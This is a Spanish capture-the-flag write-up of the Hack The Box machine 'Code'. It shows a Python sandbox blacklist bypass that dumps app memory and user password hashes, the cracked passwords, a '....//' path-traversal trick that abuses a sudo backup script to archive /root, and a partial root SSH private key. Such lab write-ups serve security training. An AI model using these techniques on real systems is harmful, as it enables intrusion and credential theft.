Page cover

🟢Code

En esta ocasión vamos a hacer el writeup de la máquina Code de Hack the Box, una máquina Linux de dificultad easy.

Primer acceso

Añadimos la IP 10.10.11.62 a nuestro /etc/hosts y accedemos través del navegador.

sudo echo "10.10.11.62 code.htb" | sudo tee -a /etc/hosts

No tiene el puerto 80 expuesto, por lo que haremos un escaneo de puertos.

Escaneo de puertos

sudo nmap -v -sV -sCV -T5 10.10.11.11
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5

Solo encontramos 2 puertos abiertos, el 22 y el 5000, que rápidamente nos llama la atención. Al acceder nos encontramos con una especie de editor/ejecutor de código desde el navegador:

Fuzzing

Haciendo fuzzing con dirsearch nos encontramos unos pocos directorios:

dirsearch -u http://10.10.11.62:5000/ -x 300,301,302,400,403,404,503 

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Escritorio/machines/htb/environment/reports/http_10.10.11.62_5000/__25-05-04_21-14-42.txt

Target: http://10.10.11.62:5000/

[21:14:42] Starting: 
[21:14:49] 200 -  818B  - /about
[21:15:09] 200 -  730B  - /login
[21:15:16] 200 -  741B  - /register

Task Completed

Tiene una página de login y registro, por lo que nos registraremos para ver el interior de la aplicación:

Lo único que activa esto es un apartado de My Codes, que sirve para guardar el código que escribamos. Al intentar un payload básico en python para ejecutar un comando de sistema como id:

import os
os.system("id")

Vemos que nos da el error:

Use of restricted keywords is not allowed.

Al intentar ejecutar una reverse shell nos da el mismo error.

Encontrar keywords restringidas

  • El endpoint POST /run_code es el responsable de ejecutar código Python.

  • El filtro de "restricted keywords" no está en el frontend (no hay ninguna validación JS), por lo que el filtrado ocurre en el backend, probablemente usando expresiones regulares o listas negras.

Vamos a usar el siguiente script en python para encontrar las keywords restringidas en el endpoint:

import requests
import keyword
import builtins

# Configuración del endpoint
url = "http://10.10.11.62:5000/run_code"
session = requests.Session()  # Agrega autenticación si es necesario

# Palabras clave del lenguaje
python_keywords = keyword.kwlist

# Funciones incorporadas (builtins)
builtin_funcs = dir(builtins)

# Módulos y funciones potencialmente peligrosas
suspicious_items = [
    "os", "sys", "subprocess", "pickle", "marshal", "base64", "shutil", "__import__", "__builtins__"
]

# Combinamos todas las palabras a probar
keywords_to_test = sorted(set(python_keywords + builtin_funcs + suspicious_items))

# Testeo
print(f"[+] Testing {len(keywords_to_test)} Python identifiers...\n")

for kw in keywords_to_test:
    payload = f"{kw}  # test"
    try:
        r = session.post(url, data={"code": payload}, timeout=5)
        if "restricted" in r.text.lower():
            print(f"❌ BLOCKED: {kw}")
        else:
            print(f"✅ ALLOWED: {kw}")
    except Exception as e:
        print(f"⚠️ ERROR testing {kw}: {e}")

Al ejecutarlo nos muestra todas las keywords permitidas:

python3 check.py | grep BLOCKED

❌ BLOCKED: ImportError
❌ BLOCKED: ImportWarning
❌ BLOCKED: OSError
❌ BLOCKED: SystemError
❌ BLOCKED: SystemExit
❌ BLOCKED: __builtins__
❌ BLOCKED: __import__
❌ BLOCKED: eval
❌ BLOCKED: exec
❌ BLOCKED: import
❌ BLOCKED: open
❌ BLOCKED: os
❌ BLOCKED: subprocess

El filtrado está bloqueando no solo funciones/módulos peligrosos, sino también nombres relacionados con excepciones del sistema, lo cual sugiere que podrían estar evaluando la entrada con una expresión regular muy general o una lista negra más profunda de lo habitual.

Bypass Python Sandboxes

Buscando en Hacktricks encontramos un artículo interesante sobre Bypass Python Sandboxes que podemos utilizar:

Podemos usar el manejo de excepciones para interactuar con la memoria de la aplicación usando:

raise Exception(globals())

Y nos devuelve lo siguiente, confirmando que existen clases como User y objetos de SQLAlchemy (db) en la aplicación Flask. Esto indica que la aplicación carga modelos de la base de datos en memoria.

Register Login About
{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f6bc8dcc400>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at <---SNIP--->
'request': <Request 'http://10.10.11.62:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f6bc8a34c10>, 'redirect': <function redirect at 0x7f6bc889d3a0>, 'url_for': <function url_for at 0x7f6bc889d310>, 'session': <SecureCookieSession {}>, 'flash': <function flash at 0x7f6bc889d550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7f6bc77d78b0>, 'register': <function register at 0x7f6bc77d7b80>, 'login': <function login at 0x7f6bc77d7c10>, ...

Esto significó que desde aquí podía consultar la memoria de la aplicación para extraer datos confidenciales, incluso sin necesidad de acceso directo ni importaciones.

Extraer Credenciales de Usuarios

Ejecutamos una consulta directa a la tabla User usando SQLAlchemy:

# Payload para extraer usuarios
raise Exception(User.query.all())

Eso nos devuelve:

[<User 1>, <User 2>]

Usando el siguiente payload extraemos las credenciales del primer usuario:

user1 = User.query.all()[0]
raise Exception(user1.__dict__)

# Nos devuelve
{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7fc1c407f7c0>, 'id': 1, 'username': 'development', 'password': '759b74ce43947f5f4c91aeddc3e5bad3'}

Y con el siguiente payload extraemos las credenciales del segundo usuario:

user2 = User.query.all()[1]
raise Exception(user2.__dict__)

# Nos devuelve

{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7fdebfa70220>, 'id': 2, 'username': 'martin', 'password': '3de6f30c4a09c27fc71932bfc68474be'}

Tenemos 2 usuarios y 2 hashes, que probaremos a crackear con Crackstation:

Hash
Tipo
Resultado

759b74ce43947f5f4c91aeddc3e5bad3

md5

development

3de6f30c4a09c27fc71932bfc68474be

md5

nafeelswordsmaster

Bingo! Tenemos credenciales de 2 usuarios:

development:development
martin:nafeelswordsmaster

Acceso por SSH

Intentamos acceder con development, pero solo podemos acceder con el usuario martin:

afsh4ck@kali$ ssh martin@10.10.11.62

martin@10.10.11.62's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 06 May 2025 10:42:04 PM UTC
 
Last login: Tue May 6 22:42:05 2025 from 10.10.14.198
martin@code:~$ 

Al acceder encontramos un directorio backups con un archivo interesante:

martin@code:~$ ls
backups
martin@code:~$ cd backups/
martin@code:~/backups$ ls
task.json
martin@code:~/backups$ cat task.json 
{
	"destination": "/home/martin/backups/",
	"multiprocessing": true,
	"verbose_log": false,
	"directories_to_archive": [
		"/home/app-production/app"
	],

	"exclude": [
		".*"
	]
}

task.json

  • Configuración de un script de backup que archiva /home/app-production/app.

Escalada de privilegios

En el directorio /home/martin no está la flag, y no tenemos las credenciales de la otra home de app-production. Vamos a ver los permisos de ejecución que tenemos en la máquina:

martin@code:~$ sudo -l

Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ bash backy.sh
Usage: backy.sh <task.json>

Vemos que tenemos permisos de ejecución del script en bash backy.sh y que funciona pasándole como argumento el task.json que nos encontramos en el directorio /backups, vamos a echarle un vistazo al script:

martin@code:~/backups$ cat /usr/bin/backy.sh

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

El script lee un archivo JSON, lo filtra con jq para sanitizar un Directory Traversal ../ y luego lo envía a /usr/bin/backy.

jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))'

Generar un json fake apuntando a /root

echo '{
  "directories_to_archive": ["/home/....//root]",
  "destination": "/home/martin"
}' > root.json

Este JSON es válido y pasará el filtro de jq, ya que:

  • /home/....//root empieza por /home/, así que pasa el filtro de is_allowed_path.

  • El traversal (....//) puede resolverse por el sistema de archivos a /root si el programa no aplica una resolución estricta del path.

Ahora ejecutamos backy.sh pasándole el json:

martin@code:~$ sudo /usr/bin/backy.sh root.json

2025/05/07 00:07:12 🍀 backy 1.2
2025/05/07 00:07:12 📋 Working with root.json ...
2025/05/07 00:07:12 💤 Nothing to sync
2025/05/07 00:07:12 📤 Archiving: [/home/../root]
2025/05/07 00:07:12 📥 To: /home/martin ...
2025/05/07 00:07:12 📦

martin@code:~$ ls
backups  code_home_.._root_2025_May.tar.bz2

Extraemos el tar en /tmp:

martin@code:~$ tar -xvjf code_home_.._root_2025_May.tar.bz2 -C /tmp

root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
root/.selected_editor
root/.sqlite_history
root/.profile
root/scripts/
root/scripts/cleanup.sh
root/scripts/backups/
root/scripts/backups/task.json
root/scripts/backups/code_home_app-production_app_2024_August.tar.bz2
root/scripts/database.db
root/scripts/cleanup2.sh
root/.python_history
root/root.txt
root/.cache/
root/.cache/motd.legal-displayed
root/.ssh/
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc

Root flag

martin@code:~$ cd /tmp
martin@code:/tmp$ ls
root

martin@code:/tmp$ cd root
martin@code:/tmp/root$ ls
root.txt  scripts

martin@code:/tmp/root$ cat root.txt 
1ac2ec8f8f3e9be271483b7d***********

Persistencia root

Vamos a extraer la clave id_rsa de root para acceder sin contraseña y así hacernos con la user flag:

martin@code:/tmp/root$ ls -la

total 40
drwx------ 6 martin martin 4096 May  6 19:44 .
drwxrwxrwt 3 root   root   4096 May  7 00:10 ..
lrwxrwxrwx 1 martin martin    9 Jul 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin 3106 Dec  5  2019 .bashrc
drwx------ 2 martin martin 4096 Aug 27  2024 .cache
drwxr-xr-x 3 martin martin 4096 Jul 27  2024 .local
-rw-r--r-- 1 martin martin  161 Dec  5  2019 .profile
lrwxrwxrwx 1 martin martin    9 Jul 27  2024 .python_history -> /dev/null
-rw-r----- 1 martin martin   33 May  6 19:44 root.txt
drwxr-xr-x 3 martin martin 4096 Apr  9 11:26 scripts
-rw-r--r-- 1 martin martin   66 Apr  9 11:27 .selected_editor
lrwxrwxrwx 1 martin martin    9 Jul 27  2024 .sqlite_history -> /dev/null
drwx------ 2 martin martin 4096 Aug 27  2024 .ssh
martin@code:/tmp/root$ cd .ssh
martin@code:/tmp/root/.ssh$ ls
authorized_keys  id_rsa
martin@code:/tmp/root/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvxPw90VRJajgkjwxZqXr865V8He/HNHVlhp0CP36OsKSi0DzIZ4K
sqfjTi/WARcxLTe4lkVSVIV25Ly5M6EemWeOKA6vdONP0QUv6F1xj8f4eChrdp7BOhRe0+
zWJna8dYMtuR2K0Cxbdd+qvM7oQLPRelQIyxoR4unh6wOoIf4EL34aEvQDux+3GsFUnT4Y
MNljAsxyVFn3mzR7nUZ8BAH/Y9xV/KuNSPD4SlVqBiUjUKfs2wD3gjLA4ZQZeM5hAJSmVe
ZjpfkQOdE+++H8t2P8qGlobLvboZJ2rghY9CwimX0/g0uHvcpXAc6U8JJqo9U41WzooAi6
TWxWYbdO3mjJhm0sunCio5xTtc44M0nbhkRQBliPngaBYleKdvtGicPJb1LtjtE5lHpy+N
Ps1B4EIx+ZlBVaFbIaqxpqDVDUCv0qpaxIKhx/lKmwXiWEQIie0fXorLDqsjL75M7tY/u/
<---SNIP--->
-----END OPENSSH PRIVATE KEY-----

Guardamos el id_rsa en un archivo en nuestro Kali Linux y le damos permisos limitados con chmod 600:

afsh4ck@kali$ chmod 600 root_id_rsa

afsh4ck@kali$ ssh -i root_id_rsa root@10.10.11.62

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 07 May 2025 12:18:11 AM UTC
 Last login: Wed May 7 00:18:11 2025 from 10.10.14.19
 
root@code:~#   

User flag

root@code:/# cd /home
root@code:/home# ls
app-production  martin

root@code:/home# cd app-production/
root@code:/home/app-production# ls
app  user.txt
    
root@code:/home/app-production# cat user.txt 
914503d998a0f92fd79567***********

Última actualización

¿Te fue útil?